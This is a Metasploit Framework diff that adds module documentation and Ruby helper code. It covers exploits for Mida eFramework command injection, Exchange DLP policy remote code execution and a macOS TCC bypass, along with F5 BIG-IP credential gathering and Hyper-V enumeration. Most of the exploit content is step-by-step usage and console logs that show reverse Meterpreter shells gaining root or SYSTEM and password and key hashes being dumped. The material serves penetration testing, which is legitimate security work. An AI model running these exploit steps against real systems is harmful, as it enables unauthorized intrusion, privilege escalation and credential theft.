resource (f5.rb)> set config /home/h00die/Downloads/f5_config.txt
|
||||
config => /home/h00die/Downloads/f5_config.txt
|
||||
resource (f5.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (f5.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (f5.rb)> run
|
||||
[*] Running module against 127.0.0.1
|
||||
[*] Importing config
|
||||
[+] 127.0.0.1:22 SNMP Community 'public' with RO access
|
||||
[+] 127.0.0.1:22 Hostname: f5bigip.home.com
|
||||
[+] 127.0.0.1:22 MAC Address: aa:aa:aa:aa:aa:aa
|
||||
[+] 127.0.0.1:22 Management IP: 2.2.2.2
|
||||
[+] 127.0.0.1:22 Product BIG-IP
|
||||
[+] 127.0.0.1:22 OS Version: 15.1.0.2
|
||||
[+] Config import successful
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a command injection vulnerability in
|
||||
[Mida Solutions eFramework](https://www.midasolutions.com/)
|
||||
version 2.9.0 and prior.
|
||||
|
||||
The `ajaxreq.php` file allows unauthenticated users to inject
|
||||
arbitrary commands in the `PARAM` parameter to be executed as
|
||||
the apache user. The sudo configuration permits the apache user
|
||||
to execute any command as root without providing a password,
|
||||
resulting in privileged command execution as root.
|
||||
|
||||
This module has been successfully tested on Mida Solutions
|
||||
eFramework-C7-2.9.0 virtual appliance.
|
||||
|
||||
Download:
|
||||
|
||||
http://ova-efw.midasolutions.com/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce`
|
||||
1. Do: `set RHOSTS [IP]`
|
||||
1. Do: `set payload [payload]`
|
||||
1. Do: `set LHOST [IP]`
|
||||
1. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Base path to eFramework (Default: `/`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set rhosts 172.16.191.123
|
||||
rhosts => 172.16.191.123
|
||||
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > check
|
||||
[+] 172.16.191.123:443 - The target is vulnerable.
|
||||
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set lhost 172.16.191.165
|
||||
lhost => 172.16.191.165
|
||||
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.165:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[+] The target is vulnerable.
|
||||
[*] Sending stage (3008420 bytes) to 172.16.191.123
|
||||
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.123:42452) at 2020-08-30 08:42:27 -0400
|
||||
[*] Command Stager progress - 100.00% done (897/897 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root @ eFramework-1 (uid=0, gid=0, euid=0, egid=0)
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.123
|
||||
OS : CentOS 7.6.1810 (Linux 3.10.0-957.10.1.el7.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -121,6 +121,8 @@ Exploit target:
|
||||
|
||||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set password admin
|
||||
password => admin
|
||||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3
|
||||
lhost => 192.168.1.3
|
||||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This vulnerability allows remote attackers to execute arbitrary code
|
||||
on affected installations of Exchange Server. Authentication is
|
||||
required to exploit this vulnerability. Additionally, the target user
|
||||
must have the `Data Loss Prevention` role assigned and an active
|
||||
mailbox.
|
||||
|
||||
If the user is in the `Compliance Management` or greater `Organization
|
||||
Management` role groups, then they have the `Data Loss Prevention`
|
||||
role. Since the user who installed Exchange is in the `Organization
|
||||
Management` role group, they transitively have the `Data Loss
|
||||
Prevention` role.
|
||||
|
||||
The specific flaw exists within the processing of the `New-DlpPolicy`
|
||||
cmdlet. The issue results from the lack of proper validation of
|
||||
user-supplied template data when creating a DLP policy. An attacker
|
||||
can leverage this vulnerability to execute code in the context of
|
||||
`SYSTEM`.
|
||||
|
||||
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
|
||||
|
||||
### Setup
|
||||
|
||||
Set up a [vulnerable target](#targets).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
`Exchange Server 2016 and 2019 w/o KB4577352`
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Set this to the OWA username.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Set this to the OWA password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange Server 2016 CU14 on Windows Server 2016
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_https
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options
|
||||
|
||||
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD no OWA password
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path
|
||||
USERNAME no OWA username
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST yes The local listener hostname
|
||||
LPORT 8443 yes The local listener port
|
||||
LURI no The HTTP Path
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Exchange Server 2016 and 2019 w/o KB4577352
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192
|
||||
rhosts => 192.168.123.192
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator
|
||||
username => Administrator
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd!
|
||||
password => Passw0rd!
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run
|
||||
|
||||
[*] Started HTTPS reverse handler on https://192.168.123.1:8443
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/
|
||||
[*] Logging in to OWA with creds Administrator:Passw0rd!
|
||||
[+] Successfully logged in to OWA
|
||||
[*] Retrieving ViewState from DLP policy creation page
|
||||
[+] Successfully retrieved ViewState
|
||||
[*] Creating custom DLP policy from malicious template
|
||||
[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data
|
||||
[*] Powershell command length: 2372
|
||||
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-365Q2VJJS17
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : GIBSON
|
||||
Logged On Users : 8
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -8,7 +8,7 @@ This module has been tested on the following hardware/OS combinations.
|
||||
The ICX config can be found [no passwords](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_nopass.conf),
|
||||
[hashes](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_pass.conf)
|
||||
|
||||
This module will look for the follow parameters which contain credentials:
|
||||
This module will look for the following parameters which contain credentials:
|
||||
|
||||
* FastIron
|
||||
* `show configuration`
|
||||
|
||||
@@ -10,7 +10,7 @@ The Catalyst 2950 config can be found [here](https://github.com/h00die/MSF-Testi
|
||||
|
||||
The UC520 config can be found [here](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/cisco-uc520.config)
|
||||
|
||||
This module will look for the follow parameters which contain credentials:
|
||||
This module will look for the following parameters which contain credentials:
|
||||
|
||||
* IOS
|
||||
* enable
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested on the following hardware/OS combinations.
|
||||
|
||||
* F5 Big-IP 15.1.0.2
|
||||
|
||||
This module will look for the following parameters which contain credentials:
|
||||
|
||||
* Big-IP
|
||||
* user
|
||||
* SNMP
|
||||
* key hashes
|
||||
* SSL keys
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a shell
|
||||
1. Do: `use post/networking/gather/enum_f5`
|
||||
1. Do: `set session [id]`
|
||||
1. Do: `set verbose true`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### F5 Big-IP 15.1.0.2
|
||||
|
||||
```
|
||||
resource (f5_ssh.rb)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (f5_ssh.rb)> set username root
|
||||
username => root
|
||||
resource (f5_ssh.rb)> set password f5-bigip
|
||||
password => f5-bigip
|
||||
resource (f5_ssh.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (f5_ssh.rb)> run
|
||||
[+] 2.2.2.2:22 - Success: 'root:f5-bigip' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux f5bigip.ragedomain 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Fri Mar 20 17:06:49 PDT 2020 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[*] Command shell session 1 opened (1.1.1.1:42443 -> 2.2.2.2:22) at 2020-08-20 14:39:08 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
```
|
||||
resource (f5_ssh.rb)> use post/networking/gather/enum_f5
|
||||
resource (f5_ssh.rb)> set session 1
|
||||
session => 1
|
||||
resource (f5_ssh.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (f5_ssh.rb)> run
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Moving to TMOS prompt
|
||||
[+] Config information stored in to loot /home/h00die/.msf4/loot/20200820143924_default_2.2.2.2_f5.version_351096.txt
|
||||
[+] Version: BIG-IP 15.1.0.2 0.0.9
|
||||
[*] Gathering info from show sys
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820143929_default_2.2.2.2_F5.show_sys_066269.txt
|
||||
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
|
||||
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
|
||||
[*] Gathering info from show auth
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820143934_default_2.2.2.2_F5.show_auth_823862.txt
|
||||
[*] Gathering info from show cm
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820143939_default_2.2.2.2_F5.show_cm_704510.txt
|
||||
[*] Gathering info from show net
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820143944_default_2.2.2.2_F5.show_net_045166.txt
|
||||
[*] Gathering info from show running-config
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820143949_default_2.2.2.2_F5.show_running__097351.txt
|
||||
[+] 2.2.2.2:22 Username 'admin' with description 'Admin User' and shell tmsh with hash $6$PQvaMmyS$Bn5.2qIin7rC34tHUQ1Vu6fEeuDzQZqc25TSiDsmbB903RENBisWbTN9Mqh7g2x26VUbxdzwUzzmL7fB4T2iy1
|
||||
[+] 2.2.2.2:22 Username 'superlegit' with description 'a user account' and shell tmsh with hash $6$FTQz2reX$U0o37QjQYdg42dwCcLa.1H85hVTriQtxhlMoIM0cs4DFyW5s26kbrEgZG5Mfaxi9fgFfHrvDBGad7ikXnEZIP0
|
||||
[+] 2.2.2.2:22 Username 't' with description 't' and shell none with hash $6$iajXIq2B$ezy4hVW9A.5eN1xG4JZWFbY4bFaq7uUKwO9gDVLxvgzigsX4gquLW1NoSaZP9CtN0NnrbGV4QvtkA.esLJOg50
|
||||
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
|
||||
[+] 2.2.2.2:22 SNMP Community 'rocommunity' with RO access
|
||||
[+] 2.2.2.2:22 SNMP Community 'rwcommunity' with RW access
|
||||
[+] 2.2.2.2:22 Hostname: f5bigip.ragedomain
|
||||
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
|
||||
[+] 2.2.2.2:22 Management IP: 2.2.2.2
|
||||
[+] 2.2.2.2:22 Product BIG-IP
|
||||
[+] 2.2.2.2:22 OS Version: 15.1.0.2
|
||||
[+] 2.2.2.2:22 SSL Key 'f5_api_com.key' and hash $M$by$gXTDo23Gz+Yz4fWA4uBbTccd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
|
||||
[*] Gathering info from show sys crypto master-key
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820143954_default_2.2.2.2_F5.show_crypto_k_313673.txt
|
||||
[+] 2.2.2.2:22 F5 master-key hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
|
||||
[+] 2.2.2.2:22 F5 previous hash EFt+B7/aTWwPwLoMd8KLYW4JB3K5B6301k4pGsoWnZEb2yUbvEJgNU3FcLHo0S4QvdrwVcKrNtHLzebC7HizHQ==
|
||||
[*] Gathering info from cat /config/bigip.conf
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820144005_default_2.2.2.2_F5.bigip.conf_401821.txt
|
||||
[+] 2.2.2.2:22 SSL Key '/Common/f5_api_com.key' and hash $M$iE$cIdy72xi7Xbk3kazSrpdfscd+oD1pdsXJbwhvhMPiss4Iw0RKIJQS/CuSReZl/+kseKpPCNpBWNWOOaBCwlQ0v4sl7ZUkxCymh5pfFNAjhc= for /config/ssl/ssl.key/f5_api_com.key
|
||||
[*] Gathering info from cat /config/bigip_base.conf
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820144010_default_2.2.2.2_F5.bigip_base.co_869534.txt
|
||||
[+] 2.2.2.2:22 SNMP Community 'public' with RO access
|
||||
[+] 2.2.2.2:22 Hostname: f5bigip.ragegroup.com
|
||||
[+] 2.2.2.2:22 MAC Address: 00:0c:29:18:49:c7
|
||||
[+] 2.2.2.2:22 Management IP: 2.2.2.2
|
||||
[+] 2.2.2.2:22 Product BIG-IP
|
||||
[+] 2.2.2.2:22 OS Version: 15.1.0.2
|
||||
[*] Gathering info from cat /config/bigip_gtm.conf
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820144015_default_2.2.2.2_F5.bigip_gtm.con_315221.txt
|
||||
[*] Gathering info from cat /config/bigip_script.conf
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820144020_default_2.2.2.2_F5.bigip_script._498011.txt
|
||||
[*] Gathering info from cat /config/bigip_user.conf
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820144025_default_2.2.2.2_F5.bigip_user.co_687618.txt
|
||||
[*] Gathering info from cat /config/user_alert.conf
|
||||
[+] Saving to /home/h00die/.msf4/loot/20200820144030_default_2.2.2.2_F5.user_alert.co_138139.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -8,7 +8,7 @@ This module has been tested on the following hardware/OS combinations.
|
||||
|
||||
The ex2200 config can be found [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_ex2200.config)
|
||||
|
||||
This module will look for the follow parameters which contain credentials:
|
||||
This module will look for the following parameters which contain credentials:
|
||||
|
||||
* ScreenOS
|
||||
* admin
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in the TCC daemon on macOS Catalina
|
||||
(<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be
|
||||
manipulated (by setting the HOME environment variable) to use a new user
|
||||
controlled location as the TCC database. We can then grant ourselves
|
||||
entitlements by inserting them into this new database.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a user session on OSX 10.15.5 (or lower)
|
||||
1. Do: ```use post/osx/escalate/tccbypass```
|
||||
1. Do: ```set SESSION -1```
|
||||
1. Do: ```run```
|
||||
1. Your session should now be able to access the ~/Documents folder
|
||||
|
||||
## Scenarios
|
||||
|
||||
### User level shell on macOS Catalina 10.15.4
|
||||
|
||||
```
|
||||
msf6 > use payload/osx/x64/meterpreter/reverse_tcp
|
||||
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lhost 192.168.135.197
|
||||
lhost => 192.168.135.197
|
||||
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lport 4567
|
||||
lport => 4567
|
||||
msf6 payload(osx/x64/meterpreter/reverse_tcp) > generate -f macho -o revtcpx64.mac
|
||||
[*] Writing 17204 bytes to revtcpx64.mac...
|
||||
msf6 payload(osx/x64/meterpreter/reverse_tcp) > to_handler
|
||||
[*] Payload Handler Started as Job 0
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.135.197:4567
|
||||
msf6 payload(osx/x64/meterpreter/reverse_tcp) > [*] Transmitting first stager...(210 bytes)
|
||||
[*] Transmitting second stager...(8192 bytes)
|
||||
[*] Sending stage (799916 bytes) to 192.168.132.178
|
||||
[*] Meterpreter session 1 opened (192.168.135.197:4567 -> 192.168.132.178:49156) at 2020-09-10 11:44:05 -0500
|
||||
|
||||
msf6 payload(osx/x64/meterpreter/reverse_tcp) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : msfusers-Mac.local
|
||||
OS : macOS Catalina (macOS 10.15.4)
|
||||
Architecture : x86
|
||||
BuildTuple : x86_64-apple-darwin
|
||||
Meterpreter : x64/osx
|
||||
meterpreter > getuid
|
||||
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
|
||||
meterpreter > ls Documents
|
||||
[-] 1009: Operation failed: 1
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 payload(osx/x64/meterpreter/reverse_tcp) > use post/osx/escalate/tccbypass
|
||||
msf6 post(osx/escalate/tccbypass) > show options
|
||||
|
||||
Module options (post/osx/escalate/tccbypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
msf6 post(osx/escalate/tccbypass) > set session 1
|
||||
session => 1
|
||||
msf6 post(osx/escalate/tccbypass) > set verbose true
|
||||
verbose => true
|
||||
msf6 post(osx/escalate/tccbypass) > run
|
||||
|
||||
[*] Creating TCC directory /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC
|
||||
[+] fake TCC DB found: /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC/TCC.db
|
||||
[+] TCC.db was successfully updated!
|
||||
[*] To cleanup, run:
|
||||
launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd
|
||||
rm -rf '/tmp/.SZulaEVB'
|
||||
|
||||
[*] Post module execution completed
|
||||
msf6 post(osx/escalate/tccbypass) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
|
||||
meterpreter > ls Documents
|
||||
Listing: Documents
|
||||
==================
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
100644/rw-r--r-- 0 fil 2020-08-14 13:51:29 -0500 .localized
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,134 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This post-exploitation module will check if a host is running Hyper-V. If the host is running Hyper-V, the module
|
||||
will gather information about all Hyper-V VMs installed on the host, including the name of the VM, its status,
|
||||
CPU usage, version of the Hyper-V engine that it relies on, and its state (running, suspended, offline, etc).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get meterpreter session
|
||||
3. Do: `use post/windows/gather/enum_hyperv_vms`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
6. If the host has Hyper-V installed, a list of Hyper-V VMs which are on target host will be returned, along with their attributes.
|
||||
|
||||
## Options
|
||||
|
||||
This module just uses the standard options available to any post module.
|
||||
|
||||
## Extracted data
|
||||
|
||||
- Name of each VM
|
||||
- State of each VM
|
||||
- CPU Usage of each VM
|
||||
- How long each VM has been running for, down to the milliseconds.
|
||||
- Amount of memory assigned to each VM
|
||||
- Status of each VM
|
||||
- The version of the Hyper-V engine that each VM is using.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Meterpreter session as a normal user on Windows Server 2019 Standard Edition - fails as user lacks required permissions
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > exploit
|
||||
|
||||
[*] Started bind TCP handler against 172.20.150.24:4444
|
||||
[*] Sending stage (200262 bytes) to 172.20.150.24
|
||||
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.20.150.24:4444) at 2020-09-10 18:33:16 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: RAPID7\normal
|
||||
meterpreter > getprivs
|
||||
|
||||
Enabled Process Privileges
|
||||
==========================
|
||||
|
||||
Name
|
||||
----
|
||||
SeChangeNotifyPrivilege
|
||||
SeIncreaseWorkingSetPrivilege
|
||||
SeMachineAccountPrivilege
|
||||
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms
|
||||
msf6 post(windows/gather/enum_hyperv_vms) > show options
|
||||
|
||||
Module options (post/windows/gather/enum_hyperv_vms):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
msf6 post(windows/gather/enum_hyperv_vms) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_hyperv_vms) > run
|
||||
|
||||
[+] Compressed size: 800
|
||||
[-] You need to be running as an elevated admin or a user of the Hyper-V Administrators group to run this module
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/enum_hyperv_vms) >
|
||||
```
|
||||
|
||||
### Meterpreter session as an elevated admin user
|
||||
```
|
||||
msf6 exploit(multi/handler) > exploit
|
||||
|
||||
[*] Started bind TCP handler against 172.20.150.24:4444
|
||||
[*] Sending stage (200262 bytes) to 172.20.150.24
|
||||
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.20.150.24:4444) at 2020-09-10 18:43:15 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: RAPID7\Administrator
|
||||
meterpreter > getprivs
|
||||
|
||||
Enabled Process Privileges
|
||||
==========================
|
||||
|
||||
Name
|
||||
----
|
||||
SeBackupPrivilege
|
||||
SeChangeNotifyPrivilege
|
||||
SeCreateGlobalPrivilege
|
||||
SeCreatePagefilePrivilege
|
||||
SeCreateSymbolicLinkPrivilege
|
||||
SeDebugPrivilege
|
||||
SeEnableDelegationPrivilege
|
||||
SeImpersonatePrivilege
|
||||
SeIncreaseBasePriorityPrivilege
|
||||
SeIncreaseQuotaPrivilege
|
||||
SeIncreaseWorkingSetPrivilege
|
||||
SeLoadDriverPrivilege
|
||||
SeMachineAccountPrivilege
|
||||
SeManageVolumePrivilege
|
||||
SeProfileSingleProcessPrivilege
|
||||
SeRemoteShutdownPrivilege
|
||||
SeRestorePrivilege
|
||||
SeSecurityPrivilege
|
||||
SeShutdownPrivilege
|
||||
SeSystemEnvironmentPrivilege
|
||||
SeSystemProfilePrivilege
|
||||
SeSystemtimePrivilege
|
||||
SeTakeOwnershipPrivilege
|
||||
SeTimeZonePrivilege
|
||||
SeUndockPrivilege
|
||||
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 2...
|
||||
msf6 exploit(multi/handler) > use post/windows/gather/enum_hyperv_vms
|
||||
msf6 post(windows/gather/enum_hyperv_vms) > set SESSION 2
|
||||
SESSION => 2
|
||||
msf6 post(windows/gather/enum_hyperv_vms) > run
|
||||
|
||||
[+] Compressed size: 800
|
||||
[*] Name State CPUUsage(%) MemoryAssigned(M) Uptime Status Version
|
||||
---- ----- ----------- ----------------- ------ ------ -------
|
||||
Test Machine Off 0 0 00:00:00 Operating normally 9.0
|
||||
Windows XP SP3 Running 79 2048 02:54:58.3210000 Operating normally 9.0
|
||||
|
||||
[+] Stored loot at /home/gwillcox/.msf4/loot/20200910184541_default_172.20.150.24_host.hyperv_vms_309544.txt
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/enum_hyperv_vms) >
|
||||
```
|
||||
@@ -4,7 +4,10 @@ module LootDataProxy
|
||||
begin
|
||||
self.data_service_operation do |data_service|
|
||||
if !data_service.is_a?(Msf::DBManager)
|
||||
opts[:data] = Base64.urlsafe_encode64(opts[:data].empty? ? "" : opts[:data].join('')) if opts[:data] and opts[:data].kind_of?(Array) else opts[:data]
|
||||
unless opts[:data].nil?
|
||||
opts[:data] = opts[:data].join if opts[:data].kind_of?(Array)
|
||||
opts[:data] = Base64.urlsafe_encode64(opts[:data]) unless opts[:data].empty?
|
||||
end
|
||||
end
|
||||
add_opts_workspace(opts)
|
||||
data_service.report_loot(opts)
|
||||
|
||||
@@ -3,8 +3,7 @@ module RemoteServiceDataService
|
||||
SERVICE_MDM_CLASS = 'Mdm::Service'
|
||||
|
||||
def services(opts)
|
||||
path = get_path_select(opts, SERVICE_API_PATH)
|
||||
json_to_mdm_object(self.get_data(path, nil, opts), SERVICE_MDM_CLASS)
|
||||
json_to_mdm_object(self.get_data(SERVICE_API_PATH, nil, opts), SERVICE_MDM_CLASS)
|
||||
end
|
||||
|
||||
def report_service(opts)
|
||||
|
||||
@@ -19,4 +19,4 @@ module ServiceDataService
|
||||
def delete_service(opts)
|
||||
raise 'ServiceDataService#delete_service is not implemented'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -105,6 +105,8 @@ def identify_hash(hash)
|
||||
# other
|
||||
when hash =~ /^<\d+@.+?>#[\w]{32}$/
|
||||
return 'hmac-md5'
|
||||
when hash.length == 114 && hash.start_with?('$M$')
|
||||
return 'F5-Secure-Vault'
|
||||
end
|
||||
''
|
||||
end
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.0.6"
|
||||
VERSION = "6.0.7"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,196 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'metasploit/framework/hashes/identify'
|
||||
|
||||
module Msf
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with F5 equipment
|
||||
#
|
||||
###
|
||||
module Auxiliary::F5
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def f5_config_eater(thost, tport, config, store = true)
|
||||
|
||||
credential_data = {
|
||||
address: thost,
|
||||
port: tport,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace.id,
|
||||
origin_type: :service,
|
||||
private_type: :nonreplayable_hash,
|
||||
# https://support.f5.com/csp/article/K65081001
|
||||
jtr_format: 'sha512,crypt', # default on the devices 11.4.0+
|
||||
service_name: '',
|
||||
module_fullname: fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
# Default SNMP to UDP
|
||||
if tport == 161
|
||||
credential_data[:protocol] = 'udp'
|
||||
end
|
||||
|
||||
if store
|
||||
store_loot('f5.config', 'text/plain', thost, config.strip, 'config.txt', 'F5 Configuration')
|
||||
end
|
||||
|
||||
host_info = {
|
||||
host: thost,
|
||||
